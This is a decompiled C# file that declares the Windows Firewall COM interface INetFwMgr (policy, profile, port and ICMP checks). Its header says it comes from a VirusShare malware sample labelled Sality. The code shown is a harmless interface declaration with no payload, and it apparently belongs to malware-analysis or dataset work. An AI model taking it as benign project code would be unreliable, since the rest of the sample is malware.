// Decompiled with JetBrains decompiler
// Type: INetFwMgr
// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe

using System.Runtime.InteropServices;

[Guid("F7898AF5-CAC4-4632-A2EC-DA06E5111AF2")]
[TypeLibType(4160)]
[ComImport]
public interface INetFwMgr
{
  [DispId(1)]
  INetFwPolicy LocalPolicy { [DispId(1)] [return: MarshalAs(UnmanagedType.Interface)] get; }

  [DispId(2)]
  NET_FW_PROFILE_TYPE_ CurrentProfileType { [DispId(2)] get; }

  [DispId(3)]
  void RestoreDefaults();

  [DispId(4)]
  void IsPortAllowed(
    [MarshalAs(UnmanagedType.BStr), In] string imageFileName,
    [In] NET_FW_IP_VERSION_ IpVersion,
    [In] int portNumber,
    [MarshalAs(UnmanagedType.BStr), In] string localAddress,
    [In] NET_FW_IP_PROTOCOL_ ipProtocol,
    [MarshalAs(UnmanagedType.Struct)] out object allowed,
    [MarshalAs(UnmanagedType.Struct)] out object restricted);

  [DispId(5)]
  void IsIcmpTypeAllowed(
    [In] NET_FW_IP_VERSION_ IpVersion,
    [MarshalAs(UnmanagedType.BStr), In] string localAddress,
    [In] byte Type,
    [MarshalAs(UnmanagedType.Struct)] out object allowed,
    [MarshalAs(UnmanagedType.Struct)] out object restricted);
}